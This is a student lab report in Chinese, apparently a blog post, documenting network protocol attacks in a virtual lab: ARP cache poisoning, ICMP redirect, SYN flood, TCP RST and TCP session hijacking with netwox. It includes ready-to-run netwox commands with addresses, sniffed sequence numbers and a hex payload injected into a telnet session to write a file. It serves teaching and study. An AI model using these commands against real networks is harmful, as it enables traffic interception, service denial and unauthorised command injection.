实践四 TCP IP网络协议分析

一、实验内容

1.主要任务

  1. ARP 缓存欺骗攻击:利用 ARP 协议无状态验证的缺陷,伪造 ARP 回复包篡改目标主机的 ARP 缓存表,实现中间人攻击的基础操作。
  2. ICMP 重定向攻击:利用 ICMP 重定向机制,伪造重定向报文,诱使目标主机修改路由路径,将后续流量引向攻击者指定的网关。
  3. SYN Flood 攻击:向目标主机的特定 TCP 端口发送大量伪造的 SYN 请求,耗尽半连接队列资源,导致正常用户无法建立连接,模拟拒绝服务攻击。
  4. TCP RST 攻击:通过伪造 TCP RST 包并匹配合法连接的序列号窗口,强制中断正在进行的 TCP 会话,验证 TCP 连接重置攻击的可行性。
  5. TCP 会话劫持攻击:在嗅探到合法 TCP 连接的序列号与确认号后,伪造数据包向目标服务器注入恶意命令,实现在不中断连接的情况下的未授权操作。

2.实验环境

  • 主机系统:Windows 11
  • 虚拟化平台:VMware Workstation 17 Pro
  • 虚拟机
主机 IP地址 Mac地址
WinXPattacker(实际没用到) 192.168.188.6 00:0c:29:CD:96:e9
Kali Linux 2020.1 192.168.188.2 00:0c:29:42:40:f9
Kali Linux 2025.4 192.168.188.7 00:0c:29:d2:d4:c0
SEEDUbuntu9-Aug-2010 192.168.188.3 00:0c:29:ae:ef:2a
VMNet8网卡 192.168.188.1 00:50:56:fa:aa:1e
  • 网络模式:NAT模式(VMnet8,子网 192.168.188.0/24)确保虚拟机间及与宿主机互通。

3.知识点梳理

3.1 ARP协议与ARP缓存欺骗

ARP协议原理

ARP(Address Resolution Protocol,地址解析协议)工作在数据链路层与网络层之间,用于将IP地址解析为对应的MAC地址。当主机需要与同一子网内的另一台主机通信时,会广播ARP请求包询问“谁拥有这个IP?”,目标主机回复自己的MAC地址,通信双方据此完成二层封装。每个操作系统都会维护一个ARP缓存表,记录已解析的IP-MAC映射,避免重复查询。

ARP缓存欺骗原理

ARP协议是无状态的,主机收到ARP回复包时,无论是否发送过请求,都会信任该包并更新缓存表。攻击者利用这一特性,伪造ARP回复包,将网关IP(或任何合法IP)映射到自己的MAC地址。此后,受害主机发往网关的数据都会被攻击机接收。若攻击机开启IP转发,可将数据转发给真实网关,实现“中间人攻击”(MITM)。

3.2 ICMP重定向攻击

ICMP重定向原理

CMP重定向报文是路由器通知主机“前往某个目的IP存在更优的下一跳”的机制,用于优化路由。正常情况下,当主机发送数据包到路由器,路由器发现从另一个接口或另一台路由器转发更快时,会向主机发送ICMP重定向包,主机据此更新路由表。

攻击原理

攻击者伪造ICMP重定向包,冒充网关告诉受害主机“访问某特定IP(如靶机)应走攻击机”。如果受害主机信任该重定向,后续访问该IP的流量就会发送给攻击机。攻击机可开启IP转发维持通信,同时进行监听或篡改。

3.3 TCP SYN Flood攻击

TCP三次握手与半连接队列

TCP建立连接需三次握手:客户端发送SYN → 服务器回复SYN+ACK → 客户端发送ACK。服务器收到SYN后,会分配资源并将该连接放入“半连接队列”(SYN_RECV状态),等待最后的ACK。队列大小有限(通常为几百到几千)。

SYN Flood原理

攻击者发送大量伪造源IP的SYN包到目标端口,目标服务器会回复SYN+ACK并等待ACK,但永远等不到。半连接队列很快被占满,导致正常用户的SYN请求被丢弃或延迟,服务不可用。这是一种典型的拒绝服务(DoS)攻击。

3.4 TCP RST攻击

TCP RST报文

RST(Reset)是TCP标志位之一,用于异常终止连接。当主机收到一个不属于任何现有连接的包,或序列号严重错误时,会回复RST强制断开。RST攻击即伪造RST包,使合法连接中断。

攻击原理

攻击者嗅探到合法TCP连接的源IP、目标IP、端口以及当前序列号(在窗口内即可),伪造一个RST包发送给其中一方。对方收到后会立即关闭连接。此攻击可用于阻断通信、踢下线等。

3.5 TCP会话劫持

会话劫持原理

在TCP连接中,每个数据包都携带序列号(SEQ)和确认号(ACK),用于保证可靠传输。攻击者通过嗅探获取合法连接的SEQ和ACK值后,可以伪造数据包注入恶意载荷。因为序列号正确,接收方会接受该包作为连接的一部分,从而实现命令注入。

关键条件

  1. 攻击者与通信双方处于同一网络(能嗅探流量)
  2. 通信协议未加密(如Telnet、HTTP)
  3. 能实时获取正确的SEQ/ACK值

3.6 netwox工具

netwox是一个强大的网络工具包,支持生成、修改、发送各种网络数据包(以太网、ARP、IP、TCP、UDP等)。编号从1到200+,每个工具对应一种功能,如:

  • netwox 80:周期性发送ARP回复(用于ARP欺骗)
  • netwox 86:发送ICMP重定向包
  • netwox 76:TCP SYN Flood
  • netwox 78:发送TCP RST包
  • netwox 40:构造并发送自定义TCP包(用于会话劫持)

使用时可通过 netwox [编号] --help 查看参数说明。


3.7 抓包与分析工具

  • tcpdump:命令行抓包工具,轻量高效。常用选项:-i 指定网卡,-n 不解析主机名,-S 显示绝对序列号,-w 保存文件,-r 读取文件。本次实验用于捕获ARP包、ICMP重定向包以及获取SEQ/ACK。
  • Wireshark:图形化协议分析工具,支持深度解码、过滤、追踪TCP流等。本次实验用于观察RST包、验证攻击效果。

二、实验过程

1.ARP缓存欺骗攻击

1)查看arp缓存表

在kali 2025.4依次执行以下命令,目的是查看并记录当前活跃主机ip和mac,然后ping目的主机kali 2020.1,刷新查看arp缓存

nmap -sP 192.168.188.0/24
ping 192.168.188.2
arp -a

image-20260330142632967

2)在kali主机上安装netwox工具(kali 2020.1上的安装步骤)

事实上不需要在kali 2020.1安装,直接在kali 2025.4上安装就可以了!

依次执行以下代码

sudo apt update
sudo apt install netwox

发现无法更新,数字签名失效,第一次尝试修改失败,第二次更新数字签名后成功,需要执行以下命令,不要直接按照图示执行

首先,执行sudo apt update会出现以下的结果,注意NO_PUBKEY ED65462EC8D5E4C5,复制这里的ED65462EC8D5E4C5注意每个人的可能都不一样

root@kali:/home/kali# sudo apt update
Get:1 http://kali.download/kali kali-rolling InRelease [34.0 kB]
Err:1 http://kali.download/kali kali-rolling InRelease
  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY ED65462EC8D5E4C5
Reading package lists... Done
W: GPG error: http://kali.download/kali kali-rolling InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY ED65462EC8D5E4C5
E: The repository 'http://http.kali.org/kali kali-rolling InRelease' is not signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.

然后执行以下命令,把下面的ED65462EC8D5E4C5替换成自己的就好了

apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED65462EC8D5E4C5
# 然后重新安装就ok了
sudo apt update
sudo apt-get update # 不执行可能会报错
sudo apt install netwox

image-20260330145200201

安装成功后输入netwox显示如下

image-20260330150539300

3)通过指令修改arp缓存,使靶机的ip地址指向攻击机的mac地址

在执行指令前需要在靶机kali 2020.1上执行以下命令(图片没截全,不过不影响)

ping 192.168.188.7
arp -n

然后在攻击机kali 2025.4执行以下指令

netwox 80 --help
sudo netwox 80 -e 00:0c:29:d2:d4:c0 -i 192.168.188.1 -E 00:0c:29:42:40:f9 -I 192.168.188.2

image-20260330160345422

这时再回到靶机执行

arp -n

可以看到网卡192.168.188.1的mac地址已经被修改了

image-20260330160456366

在靶机上观察到实验成功后记得切回攻击机kali 2025.4 ctrl+c中止命令

至此ARP缓存欺骗攻击实验结束,可以使用以下命令清空arp缓存并恢复(在靶机kali 2020.1上执行),避免对后续实验产生可能的影响(如果你不想重启的话)

ip -s -s neigh flush all
ping 192.168.188.1
ping 192.168.188.7

image-20260330161245749

2.ICMP重定向攻击

在攻击机kali 2025.4上执行

# 开启 IP 转发
sudo sysctl net.ipv4.ip_forward=1
# 启动 ICMP 重定向攻击(持续运行)
sudo netwox 86 -g 192.168.188.7 -f "host 192.168.188.2"
# 在另一个终端查看 ICMP 重定向包
sudo tcpdump -i eth0 -n -v icmp and icmp[0] == 5

image-20260330162155764

image-20260330162223393

在靶机kali 2020.1上ping 192.168.188.3,可以看到下一跳是攻击机kali的ip

image-20260330162317995

此时在攻击机注意到tcpdump 显示 ICMP 重定向包

image-20260330162404007

3.SYN Flood攻击

在SeedUbuntu上打开wireshark抓包,使用telnet访问服务器(使用luit -encoding gbk 避免中文乱码)

sudo wireshark # 选择eth6进行抓包
luit -encoding gbk telnet bbs.newsmth.net

image-20260330172821270

攻击机kali 2025.4上执行以下命令

netwox 76 -i 192.168.188.3 -p 23

image-20260330172840731

这时观察到SeedUbuntu明显变卡,CPU 使用率升高(这种情况下变卡了自然cpu占用率很高,当然使用top命令查看应该也能看到,但是有不小概率卡死),然后使用命令netstat -ant | grep SYN_RECV | wc -l,看到半连接数激增到256

image-20260330173545674

image-20260330172905932

在攻击机kali 2025.4上ctrl+c中断命令后,查看SeedUbuntu上的wireshark,发现大量tcp包出错

image-20260330173253597

4.TCP RST攻击

书接上回,依旧是在SeedUbuntu上打开wireshark抓包,使用telnet访问服务器(使用luit -encoding gbk 避免中文乱码)

sudo wireshark # 选择eth6进行抓包
luit -encoding gbk telnet bbs.newsmth.net

image-20260330172402888

在攻击机上执行sudo netwox 78

image-20260330172414283

切回SeedUbuntu,发现连接中止,过滤后得到一些tcp连接错误的包

image-20260330172513583

5.TCP会话劫持攻击

攻击机:kali 2025.4 IP:192.168.188.7

服务器:SeedUbuntu IP:192.168.188.3

在SeedUbuntu上启动telnet服务

# 启动telnet服务
sudo /etc/init.d/openbsd-inetd restart
# 查看服务状态
sudo netstat -a | grep telnet

在kali 2020.1上连接到服务器并登录,一定要登陆后才进行抓包,否则抓到的包会太多了(抓包命令在后面)

image-20260330180221582

在SeedUbuntu上执行以下命令,可以看到当前文件夹下没有名为test的文件

cd /tmp
ls

image-20260330181125190

在攻击机上输入以下命令进行抓包嗅探获取 SEQ/ACK,wireshark其实也可以使用(我试了一下,直接看到了输入的pwd命令)

# 捕获真实连接信息
sudo tcpdump -i eth0 -n -S host 192.168.188.2 and host 192.168.188.3

输入这个命令后需要在kali 2020.1上随便输入一些命令,例如我输入的是pwd

image-20260330193804326

然后在攻击机kali 2025.4上执行以下命令(必须在SeedUbuntu执行命令后执行攻击机上的命令,否则在SeedUbuntu上执行rm test

这条命令每个人都不一样,具体来讲模板是

假如抓获的包是

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -i eth0 -n -S host 192.168.188.2 and host 192.168.188.3

[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
07:29:57.855923 IP 192.168.188.2.38308 > 192.168.188.3.23: Flags [P.], seq 43069603:43069606, ack 1223105355, win 501, options [nop,nop,TS val 1627300846 ecr 3989498], length 3
07:29:57.855924 IP 192.168.188.3.23 > 192.168.188.2.38308: Flags [P.], seq 1223105355:1223105358, ack 43069606, win 181, options [nop,nop,TS val 4015458 ecr 1627300846], length 3
07:29:57.855924 IP 192.168.188.2.38308 > 192.168.188.3.23: Flags [.], ack 1223105358, win 501, options [nop,nop,TS val 1627300848 ecr 4015458], length 0
07:29:58.052760 IP 192.168.188.2.38308 > 192.168.188.3.23: Flags [P.], seq 43069606:43069608, ack 1223105358, win 501, options [nop,nop,TS val 1627301042 ecr 4015458], length 2
07:29:58.053323 IP 192.168.188.3.23 > 192.168.188.2.38308: Flags [P.], seq 1223105358:1223105360, ack 43069608, win 181, options [nop,nop,TS val 4015507 ecr 1627301042], length 2
07:29:58.053674 IP 192.168.188.2.38308 > 192.168.188.3.23: Flags [.], ack 1223105360, win 501, options [nop,nop,TS val 1627301043 ecr 4015507], length 0
07:29:58.053931 IP 192.168.188.3.23 > 192.168.188.2.38308: Flags [P.], seq 1223105360:1223105372, ack 43069608, win 181, options [nop,nop,TS val 4015507 ecr 1627301043], length 12
07:29:58.053931 IP 192.168.188.2.38308 > 192.168.188.3.23: Flags [.], ack 1223105372, win 501, options [nop,nop,TS val 1627301044 ecr 4015507], length 0
07:29:58.054342 IP 192.168.188.3.23 > 192.168.188.2.38308: Flags [P.], seq 1223105372:1223105418, ack 43069608, win 181, options [nop,nop,TS val 4015508 ecr 1627301044], length 46
07:29:58.055746 IP 192.168.188.2.38308 > 192.168.188.3.23: Flags [.], ack 1223105418, win 501, options [nop,nop,TS val 1627301045 ecr 4015508], length 0

然后建议丢给ai让他分析可以得到

参数 说明
源 IP 192.168.188.2 靶机(客户端)
目标 IP 192.168.188.3 服务器
源端口 38308 客户端临时端口
目标端口 23 telnet 服务
SEQ 43069603 客户端发送的序列号
ACK 1223105355 客户端期望收到的确认号

或者直接看最新抓包的第一行(客户端→服务器):

07:29:57.855923 IP 192.168.188.2.38308 > 192.168.188.3.23: Flags [P.], seq 43069603:43069606, ack 1223105355, win 501, ...

攻击的目的是伪造客户端向服务器发送数据,所以使用 客户端→服务器 方向包的 SEQ 和 ACK。基本模板如下:

sudo netwox 40 \
  -l 192.168.188.2 \
  -m 192.168.188.3 \
  -o [PORT] \
  -p 23 \
  -q [SEQ] \
  -r [ACK] \
  -z -A \
  -H "6563686f204861636b6564203e202f746d702f746573740a"

我执行的是这样

# "echo Hacked > /tmp/test\n" 
# 十六进制:6563686f204861636b6564203e202f746d702f746573740a
sudo netwox 40 \
  -l 192.168.188.2 \
  -m 192.168.188.3 \
  -o 38308 \
  -p 23 \
  -q 43069603 \
  -r 1223105355 \
  -z -A \
  -H "6563686f204861636b6564203e202f746d702f746573740a"

image-20260330194247951

这时在SeedUbuntu上ls查看一下,发现新建了一个名为test的文件

image-20260330180102914

三、学习中遇到的问题及解决

1.kali 2020.1无法安装netwox

事实上不要在kali 2020.1中安装,直接在kali 2025.4中安装就行了,而且没有任何报错,如果一定要安装,前文有详细的解决方案

2.SYN Flood攻击和TCP RST攻击时无法正常访问telnet

参考了往届的解决方案,直接访问bbs.newsmth.net

3.netwox命令不熟怎么用

这里附上一些命令的使用方式

$ netwox 80 --help         
Title: Periodically send ARP replies
Usage: netwox 80 -e eth -i ip [-d device] [-E eth] [-I ip] [-s uint32]
Parameters:
 -e|--eth eth                   ethernet address {00:0C:29:D2:D4:C0}
 -i|--ip ip                     IP address {192.168.188.7}
 -d|--device device             device for spoof {Eth0}
 -E|--eth-dst eth               to whom answer {0:8:9:a:b:c}
 -I|--ip-dst ip                 to whom answer {5.6.7.8}
 -s|--sleep uint32              sleep delay in ms {1000}
 --help2                        display full help
Example: netwox 80 -e "00:0C:29:D2:D4:C0" -i "192.168.188.7"
Example: netwox 80 --eth "00:0C:29:D2:D4:C0" --ip "192.168.188.7"
                                                                                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ netwox 33 --help
Title: Spoof EthernetArp packet
Usage: netwox 33 [-d device] [-a eth] [-b eth] [-c uint32] [-e uint32] [-f eth] [-g ip] [-h eth] [-i ip]
Parameters:
 -d|--device device             device for spoof {Eth0}
 -a|--eth-src eth               Ethernet src {00:0C:29:D2:D4:C0}
 -b|--eth-dst eth               Ethernet dst {0:8:9:a:b:c}
 -c|--eth-type uint32           Ethernet type : ARP=2054, RARP=32821 {2054}
 -e|--arp-op uint32             ARP op : 1=ARPREQ, 2=ARPREP, 3=RARPREQ, 4=RARPREP {1}
 -f|--arp-ethsrc eth            ARP ethsrc {00:0C:29:D2:D4:C0}
 -g|--arp-ipsrc ip              ARP ipsrc {0.0.0.0}
 -h|--arp-ethdst eth            ARP ethdst {0:0:0:0:0:0}
 -i|--arp-ipdst ip              ARP ipdst {0.0.0.0}
 --help2                        display full help
Example: netwox 33
                                                                                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ netwox 40 --help
Title: Spoof Ip4Tcp packet
Usage: netwox 40 [-c uint32] [-e uint32] [-f|+f] [-g|+g] [-h|+h] [-i uint32] [-j uint32] [-k uint32] [-l ip] [-m ip] [-n ip4opts] [-o port] [-p port] [-q uint32] [-r uint32] [-s|+s] [-t|+t] [-u|+u] [-v|+v] [-w|+w] [-x|+x] [-y|+y] [-z|+z] [-A|+A] [-B|+B] [-C|+C] [-D|+D] [-E uint32] [-F uint32] [-G tcpopts] [-H mixed_data]
Parameters:
 -c|--ip4-tos uint32            IP4 tos {0}
 -e|--ip4-id uint32             IP4 id (rand if unset) {0}
 -f|--ip4-reserved|+f|--no-ip4-reserved IP4 reserved
 -g|--ip4-dontfrag|+g|--no-ip4-dontfrag IP4 dontfrag
 -h|--ip4-morefrag|+h|--no-ip4-morefrag IP4 morefrag
 -i|--ip4-offsetfrag uint32     IP4 offsetfrag {0}
 -j|--ip4-ttl uint32            IP4 ttl {0}
 -k|--ip4-protocol uint32       IP4 protocol {0}
 -l|--ip4-src ip                IP4 src {192.168.188.7}
 -m|--ip4-dst ip                IP4 dst {5.6.7.8}
 -n|--ip4-opt ip4opts           IPv4 options
 -o|--tcp-src port              TCP src {1234}
 -p|--tcp-dst port              TCP dst {80}
 -q|--tcp-seqnum uint32         TCP seqnum (rand if unset) {0}
 -r|--tcp-acknum uint32         TCP acknum {0}
 -s|--tcp-reserved1|+s|--no-tcp-reserved1 TCP reserved1
 -t|--tcp-reserved2|+t|--no-tcp-reserved2 TCP reserved2
 -u|--tcp-reserved3|+u|--no-tcp-reserved3 TCP reserved3
 -v|--tcp-reserved4|+v|--no-tcp-reserved4 TCP reserved4
 -w|--tcp-cwr|+w|--no-tcp-cwr   TCP cwr
 -x|--tcp-ece|+x|--no-tcp-ece   TCP ece
 -y|--tcp-urg|+y|--no-tcp-urg   TCP urg
 -z|--tcp-ack|+z|--no-tcp-ack   TCP ack
 -A|--tcp-psh|+A|--no-tcp-psh   TCP psh
 -B|--tcp-rst|+B|--no-tcp-rst   TCP rst
 -C|--tcp-syn|+C|--no-tcp-syn   TCP syn
 -D|--tcp-fin|+D|--no-tcp-fin   TCP fin
 -E|--tcp-window uint32         TCP window {0}
 -F|--tcp-urgptr uint32         TCP urgptr {0}
 -G|--tcp-opt tcpopts           TCP options
 -H|--tcp-data mixed_data       mixed data
 --help2                        display help for advanced parameters
Example: netwox 40
                                                                                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ netwox 76 --help
Title: Synflood
Usage: netwox 76 -i ip -p port [-s spoofip]
Parameters:
 -i|--dst-ip ip                 destination IP address {5.6.7.8}
 -p|--dst-port port             destination port number {80}
 -s|--spoofip spoofip           IP spoof initialization type {linkbraw}
 --help2                        display full help
Example: netwox 76 -i "5.6.7.8" -p "80"
Example: netwox 76 --dst-ip "5.6.7.8" --dst-port "80"

四、学习感悟、思考等

这次实验让我把协议攻击原理真正动手做了一遍。ARP欺骗、SYN Flood、会话劫持这些概念以前只是听过,自己操作后才清楚它们是怎么实现的。印象最深的是TCP会话劫持,抓到正确的数据就能伪造命令执行,直观感受到了不加密协议的脆弱。实验中也遇到一些小问题,比如Kali密钥过期、netwox参数不熟,查资料解决了。总的来说,这次实验加深了我对TCP/IP协议栈的理解,也提醒自己以后注重网络安全。

参考资料:

https://blog.csdn.net/2401_84001792/article/details/144578056

https://www.cnblogs.com/n0rmally/p/18789097

posted @ 2026-03-31 21:19  _Biyan  阅读(0)  评论(0)    收藏  举报